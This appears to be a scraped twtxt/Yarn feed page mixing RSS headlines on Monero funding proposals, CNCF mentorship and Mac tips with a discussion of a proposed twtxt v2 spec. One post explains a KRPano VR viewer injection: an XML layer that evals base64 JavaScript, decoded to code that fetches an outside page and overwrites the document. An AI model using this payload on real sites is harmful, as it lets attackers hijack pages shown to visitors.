tobtoht posts January 2025 Monero/Feather dev report
tobtoht1 has published the first progress report2 for his full-time Q1 2025 Feather Wallet and Monero dev work CCS proposal3:

Summary: core build system and CI work

Feather: 4 commits (+217, -45)
 * guix: add missing patch
Core: 43 (non-documentation) PRs
 * Comments on the Code of Conduct #9738
 * cmake: remove msvc #9729
 * ci: containerize ubuntu cli jobs #9708 [..]

The full d … ⌘ Read more

The invalid 68030 instruction that accidentally allowed the Mac Classic II to successfully boot up
A bug in the ROM for the Macintosh II was recently discovered that causes a crash when booting in 32-bit mode. Doug Brown discovered and documented the bug while playing with the MAME debugger. Why did it never show up before? It seems a quirk in Motorola’s 68030 CPU inadvertently fixes it when executing an illegal instruction that shou … ⌘ Read more

Celebrating 42 successful CNCF mentees who graduated from the LFX Program Term 3 2024
By Nate Waddington, Head of Mentorship & Documentation, CNCF CNCF congratulates the 42 mentees who have graduated from the latest LFX mentorship program funded by CNCF! 21 CNCF Graduated, Incubating, and Sandbox projects, as well as… ⌘ Read more

10 U.S. Military Plans That Were Top Secret Until Recently
Throughout history, governments and military organizations have devised secret plans to secure their nation’s interests or gain an advantage over adversaries. Many of these plans remained classified for decades, only coming to light through declassified documents or whistleblowers. These revelations often provide a fascinating glimpse into strategies, fears, and ambitions that shaped global events, offering […]

The … ⌘ Read more

Documenting and explaining legacy code with GitHub Copilot: Tips and examples
Learn how to document and explain legacy code with GitHub Copilot with real-world examples.

The post Documenting and explaining legacy code with GitHub Copilot: Tips and examples appeared first on The GitHub Blog. ⌘ Read more

So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following

<?xml version="1.0"?>
<krpano version="1.0.8.15">
    <SCRIPT id="allow-copy_script"/>
    <layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>

the omit above is base64 encoded script below:

const queryParams = new URLSearchParams(window.location.search),
          id = queryParams.get('id');
    id ? fetch('https://sour.is/superhax.txt')
        .then(e => e.text())
        .then(e => {
            document.open(), document.write(e), document.close();
        })
        .catch(e => {
            console.error('Error fetching the user agent:', e);
        }) : console.error('No');

this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.

How to use GitHub Copilot: What it can do and real-world examples
Real-world examples show you how Copilot can generate unit tests, refactor code, create documentation, perform multi-file edits, and much more

The post How to use GitHub Copilot: What it can do and real-world examples appeared first on The GitHub Blog. ⌘ Read more

** The social is predicated on its exclusions **
I’ve been sitting on this post for like 8 months. I’ve written it and rewritten it at least a dozen times. I hsve two or three notes documents worth of research. It has never felt right, though. It still doesn’t. I figured an rss-only debut for it would be fine, and maybe one day I’ll bring it to a normy kinda post.

At my job I try to make big public digital services accessible. Because of this I think a lot about disability, and how some portion of disability is socially c … ⌘ Read more

10 Catastrophic Translation Fails in History
Translation seems like an easy task these days, with the help of technology such as Google at our fingertips, but it isn’t always so simple. Simple translation when trying to greet someone from another country is one thing, but interpreting major documents or treaties is another. Translators and interpreters are professionals with years of experience, […]

The post [10 Catastrophic Translation Fails in History](https://listverse.com/2024/12/28/1 … ⌘ Read more

What should the advantage be to nick = _compared to just not defining a nick and let the client use the domain as the handle?

What is not intuitive is that you put something in the nick field that is not to be taken literary. The special meaning of _ is only clean if you read the documentation, compared to having something in nick that makes sense in the current context of the twtxt.txt.

4rkal submits CCS proposal to develop and release ‘dmvp2p’ v1
4rkal1 has submitted a CCS proposal2 looking to finish developing Donate Monero Via P2Pool (dmvp2p) 3 version 1, create project documentation and a step by step video:

dmvp2p short for Donate Monero Via P2Pool, is a simple GUI application that allows users to donate monero to their favorite creators/projects using p2pool. This project is a cross platform application that will enable micro-tipping via p2p … ⌘ Read more

fullmetalScience submits CCS proposal for ‘NoShore’ project
fullmetalScience1 has submitted their first CCS proposal2 looking to complete work on NoShore, a project dedicated to on-the-go offline payments:

TL;DR The document proposes a shell-based environment that users can run to enable offline payments with supporting merchants, whereas the actual signing device will be developed separately in an upcoming iteration.

”`
Total funding: 45 XMR.

ETA: Read more”`

Hydroponic Automation Board with Raspberry Pi Zero 2 and STM32 Processor
The RootMaster is a hydroponic automation platform designed to provide precise control over water, and environmental conditions. Designed for developers and enthusiasts, it includes onboard sensors, CAN support, and outputs for controlling up to three pumps and additional peripherals. According to the documentation, the STM32G4 microcontroller is based on the Arm Cortex-M4 32-bit RISC core […] ⌘ Read more

Banned C++ Contributor Speaks Out
Andrew Tomazos, banned from the C++ Standards Group for using the word “Question” in a technical document, shares his story. ⌘ Read more

Unlock growth and talent: why maintainers should mentor with CNCF
By Nate Waddington, Head of Mentorship and Documentation, CNCF Open source projects rely on strong communities. Mentorship programs like LFX Mentorship and Google Summer of Code offer maintainers a chance to bring new contributors into their… ⌘ Read more

jeffro256 posts September-October 2024 Monero/Carrot dev update
jeffro2561 has posted the first progress report (M1/September-Otcober 2024)2 for their Monero/Carrot3 dev work CCS proposal4:

I spent a lot of time recently refactoring the design of the Carrot implementation to make it well documented and clear, as well as highly reusable. I also spent a lot of time removing dependencies so that it’s ready to be quickly parsed by future impleme … ⌘ Read more

So, @prologic@twtxt.net, Yarn isn’t rendering the metadata as described on the format documentation. That is, ux2028 is ignored when Yarn renders the description metadata.

How to Fix “Recents” Folder Empty on Mac
The Mac “Recents” folder in Finder is a useful catchall Smart Folder that, as the name implies, contains all recently opened, modified, or added files that are found within the file system. This means the “Recents” folder should contain everything from text files, documents, PDFs, images, video, basically anything in the file system that has … Read More ⌘ Read more

jeffro256’s ‘Carrot’ spec peer review CCS proposal ready for funding
jeffro2561’s CCS proposal2 to get the Carrot 3 spec document peer reviewed by CypherStack is ready for funding:

Funding needed: 126 XMR

To support this proposal, you can donate any XMR amount to the address listed on its Gitlab Funding Required 4 page.

Consult the previous Monero Observer report5 to learn more about this CCS.

1. https://github.com … ⌘ Read more

jeffro256 submits CCS proposal to get ‘Carrot’ reviewed by CypherStack
jeffro2561 has submitted a CCS proposal2 looking to get the Carrot 3 spec document peer reviewed by CypherStack4:

This CCS will provide funding for the first step towards a Carrot implementation in Monero. [..] The deliverable is a write-up which will include security proofs for all properties listed in section 9. [..] In the case that CypherStack requires more funds to com … ⌘ Read more

Can’t Open Microsoft Office Files in MacOS Sequoia? Fix Microsoft Word, Excel, Office File Associations
Some Mac users have noticed that Microsoft Office files and documents, whether that’s Word docs, Excel spreadsheets, Powerpoint presentations, or otherwise, are not opening in the intended apps, or properly associating with the relevant Microsoft Office app, after updating their Mac to MacOS Sequoia. To make matters worse, some … ⌘ Read more

@prologic@twtxt.net

See https://dev.twtxt.net

Yes, that is exactly what I meant. I like that collection and “twtxt v2” feels like a departure.

Maybe there’s an advantage to grouping it into one spec, but IMO that shouldn’t be done at the same time as introducing new untested ideas.

See https://yarn.social (especially this section: https://yarn.social/#self-host) – It really doesn’t get much simpler than this 🤣

Again, I like this existing simplicity. (I would even argue you don’t need the metadata.)

That page says “For the best experience your client should also support some of the Twtxt Extensions…” but it is clear you don’t need to. I would like it to stay that way, and publishing a big long spec and calling it “twtxt v2” feels like a departure from that. (I think the content of the document is valuable; I’m just carping about how it’s being presented.)

More thoughts about changes to twtxt (as if we haven’t had enough thoughts):

1. There are lots of great ideas here! Is there a benefit to putting them all into one document? Seems to me this could more easily be a bunch of separate efforts that can progress at their own pace:
   

1a. Better and longer hashes.

1b. New possibly-controversial ideas like edit: and delete: and location-based references as an alternative to hashes.

1c. Best practices, e.g. Content-Type: text/plain; charset=utf-8

1d. Stuff already described at dev.twtxt.net that doesn’t need any changes.

1. We won’t know what will and won’t work until we try them. So I’m inclined to think of this as a bunch of draft ideas. Maybe later when we’ve seen it play out it could make sense to define a group of recommended twtxt extensions and give them a name.

2. Another reason for 1 (above) is: I like the current situation where all you need to get started is these two short and simple documents:
   https://twtxt.readthedocs.io/en/latest/user/twtxtfile.html
   https://twtxt.readthedocs.io/en/latest/user/discoverability.html
   and everything else is an extension for anyone interested. (Deprecating non-UTC times seems reasonable to me, though.) Having a big long “twtxt v2” document seems less inviting to people looking for something simple. (@prologic@twtxt.net you mentioned an anonymous comment “you’ve ruined twtxt” and while I don’t completely agree with that commenter’s sentiment, I would feel like twtxt had lost something if it moved away from having a super-simple core.)

3. All that being said, these are just my opinions, and I’m not doing the work of writing software or drafting proposals. Maybe I will at some point, but until then, if you’re actually implementing things, you’re in charge of what you decide to make, and I’m grateful for the work.

Congratulations to 45 CNCF Term 1 2024 LFX Program mentees!
Mentorship blog by Nate Waddington, Head of Mentorship & Documentation at CNCF We are thrilled to share that 45 CNCF mentees with the LFX Program have successfully completed their mentorship.     Numerous CNCF projects across Graduated, Incubating, Sandbox projects,… ⌘ Read more

Using an AI Assistant to Read Tool Documentation
Explore how to use Docker and LLMs to streamline workflows for command-line tools to enhance the process of reading docs, troubleshooting errors, and running commands. ⌘ Read more

I demand full 9 digit nano second timestamps and the full TZ identifier as documented in the tz 2024b database! I need to know if there was a change in daylight savings as per the locality in question as of the provided date.

@prologic@twtxt.net Thanks for writing that up!

I hope it can remain a living document (or sequence of draft revisions) for a good long time while we figure out how this stuff works in practice.

I am not sure how I feel about all this being done at once, vs. letting conventions arise.

For example, even today I could reply to twt abc1234 with “(#abc1234) Edit: …” and I think all you humans would understand it as an edit to (#abc1234). Maybe eventually it would become a common enough convention that clients would start to support it explicitly.

Similarly we could just start using 11-digit hashes. We should iron out whether it’s sha256 or whatever but there’s no need get all the other stuff right at the same time.

I have similar thoughts about how some users could try out location-based replies in a backward-compatible way (append the replyto: stuff after the legacy (#hash) style).

However I recognize that I’m not the one implementing this stuff, and it’s less work to just have everything determined up front.

Misc comments (I haven’t read the whole thing):

• Did you mean to make hashes hexadecimal? You lose 11 bits that way compared to base32. I’d suggest gaining 11 bits with base64 instead.

• “Clients MUST preserve the original hash” — do you mean they MUST preserve the original twt?

• Thanks for phrasing the bit about deletions so neutrally.

• I don’t like the MUST in “Clients MUST follow the chain of reply-to references…”. If someone writes a client as a 40-line shell script that requires the user to piece together the threading themselves, IMO we shouldn’t declare the client non-conforming just because they didn’t get to all the bells and whistles.

• Similarly I don’t like the MUST for user agents. For one thing, you might want to fetch a feed without revealing your identty. Also, it raises the bar for a minimal implementation (I’m again thinking again of the 40-line shell script).

• For “who follows” lists: why must the long, random tokens be only valid for a limited time? Do you have a scenario in mind where they could leak?

• Why can’t feeds be served over HTTP/1.0? Again, thinking about simple software. I recently tried implementing HTTP/1.1 and it wasn’t too bad, but 1.0 would have been slightly simpler.

• Why get into the nitty-gritty about caching headers? This seems like generic advice for HTTP servers and clients.

• I’m a little sad about other protocols being not recommended.

• I don’t know how I feel about including markdown. I don’t mind too much that yarn users emit twts full of markdown, but I’m more of a plain text kind of person. Also it adds to the length. I wonder if putting a separate document would make more sense; that would also help with the length.

Google AI Notebook Turns Documents into Fake Podcasts with Fake Hosts Having Fake Discussions
Just what the world needed! Fake podcasts! With fake laughing! Thanks Google! ⌘ Read more

Milk-V DuoModule Eval Board with RISC-V Core, 8051 Core, and Linux Support
The Milk-V DuoModule 01 Evaluation Board offers a versatile platform for evaluating the Duo Module 01, featuring Wi-Fi 6, Bluetooth 5.4, and eMMC storage. It enables developers and makers to prototype solutions using the SG2000 SoC, with open-source documentation to streamline development. Like the Milk-V Duo S and Oz64, this board features the SG2000 SoC, […] ⌘ Read more

@lyse@lyse.isobeef.org Interesting. The yarnd --help currently says (for me):

  -R, --open-registrations            whether or not to have open user registgration

meaning it doesn’t give the default setting or warn you that you need to use -R=false and not -R false. It also leaves unclear whether --open-registrations false would work or if you need to do --open-registrations=false. It’s also unclear whether the setting change in the user interface is overridden by the command line arguments, overrides the command line arguments, is persisted across restarts.

Maybe all this is worth posting an issue for additional documentation on the git repo if there isn’t one already.

“registgration” is misspelled that way in the help by the way.

Launch All Apps & Documents Related to a Project with Stapler for Mac
Longtime Mac users may recall a handy old shareware application for the Classic Macintosh called Stapler, which essentially helped manage projects by grouping a series of apps and documents into a single document that when opened would then launch all of those documents and their respective programs. Much easier than digging around in your file … [Read More](https://osxdaily.com/2024/08/14/la … ⌘ Read more

The benefits of mentoring and the CNCF Mentorship Program
By Nate Waddington, Head of Mentorship & Documentation, CNCF Technical people have a world of opportunities available to them when it comes to boosting career skills. But I’m going to make the case for taking a somewhat old-fashioned… ⌘ Read more

Untitled ⌘ Read more

Untitled ⌘ Read more

Untitled ⌘ Read more

How to Get Apple Intelligence on Your iPhone, iPad, or Mac
Apple Intelligence is a set of AI features that Apple is rolling out in beta, and will debut to a larger set of Apple device owners in the fall. Apple Intelligence offers many features from writing and creating text and emails, to taking actions and operating across different apps, to image generation, document and text … [Read More](https://osxdaily.com/2024/07/31/how-to-get-apple-intelligence-on-your-iphone-ipad-or-m … ⌘ Read more

Untitled ⌘ Read more

Untitled ⌘ Read more

Untitled ⌘ Read more

It took me so long to find the cause of a memory leak in GoBlog. I thought it was smart to use a cache for prepared database statements. But I didn’t read the documentation and didn’t know that prepared statements need to be closed when they are no longer needed to free up the allocated resources. 🤦‍♂️ I finally fixed it by removing the prepared statement cache altogether. Less code, fewer problems in the future, and the cache wasn’t much of an improvement anyway. I also learned about the usefulness of memory profil … ⌘ Read more

Untitled ⌘ Read more

Untitled ⌘ Read more

Untitled ⌘ Read more

Untitled ⌘ Read more

Untitled ⌘ Read more

Untitled ⌘ Read more

Untitled ⌘ Read more

Untitled ⌘ Read more

Untitled ⌘ Read more

Untitled ⌘ Read more